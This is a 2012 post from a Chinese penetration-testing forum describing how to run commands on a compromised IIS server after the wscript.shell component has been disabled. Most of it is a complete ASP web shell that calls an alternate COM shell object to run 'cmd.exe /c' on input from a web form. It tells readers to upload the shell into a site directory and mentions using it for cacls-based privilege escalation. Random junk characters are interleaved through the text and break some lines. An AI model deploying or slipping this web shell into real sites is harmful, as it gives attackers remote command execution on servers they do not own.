中国网络渗透测试联盟

标题: wscript.shell删除解决办法 [打印本页]

作者: admin    时间: 2012-9-15 14:36
标题: wscript.shell删除解决办法
可能有很多人,看到关闭了wscript.shell,就感觉没提权的希望了。就会放弃。
0 Y. e! D) K  e# [( l* u) }; e一般当闭上面组件时,你上传cmd.exe到上面去是运行不了命令的。运行时会说出错。
) d: D& `7 N" y- d) K6 W0 J8 F7 D要想让运行命令可以试试这种方法,成功率为五五之数。
3 c; J% v. ^0 l: \% W, k! _- u把下面代码复制:# M2 r- p0 S  i0 p6 L* L) i
<object runat=server id=oScriptlhn scope=page classid="clsid:72C24DD5-D70A-438B-8A42-98424B88AFB8"></object>8 H- s: |' V2 A* o* F  L: j
<%if err then%>
; T4 |$ H) C; U. F+ |<object runat=server id=oScriptlhn scope=page classid="clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B"></object>
2 G+ U1 {( I% r- q) D6 Q<%
2 g" O- I& H- M1 j% Y* oend if5 F; }) ]0 K$ m  o& e# H0 M
response.write("<textarea readonly cols=80 rows=20>")* c) q7 s* h5 d7 ^1 x+ A' q- b6 \
On Error Resume Next
4 E: Z, ?2 r# W. Q8 A8 }' `9 wresponse.write oScriptlhn.exec("cmd.exe /c" & request("c")).stdout.readall" P( O/ P! l! z
response.write("</textarea>")
" e, y3 ]& \0 ~/ Aresponse.write("<form method='post'>")% V5 P1 x0 ?. E1 W, T! S
response.write("<input type=text name='c' size=60><br>")
8 k. l5 |, s7 ]response.write("<input type=submit value='执行'></form>")" m# X$ |: Y" B% C% L
%>
; W- V' \9 F4 S) C- h% q7 m/ j6 A+ {* S
保存为一个asp文件,然后传到网站目录上去, }" M0 p) b; X% q
运行的时候可能会出现两个问题,第一是运行了为什么运行不了命令,这个你可以试着再上传个cmd.exe然后把路径写入上面代码。
, {* ~: u" A0 H* n! q2 R. F我用此成功运行过cacls命令。
; u0 T) _4 D; ^. A$ |
/ `- ?; _2 B! H, [9 o% Z第二那就是运行时出错,可能限制某些代码执行




欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2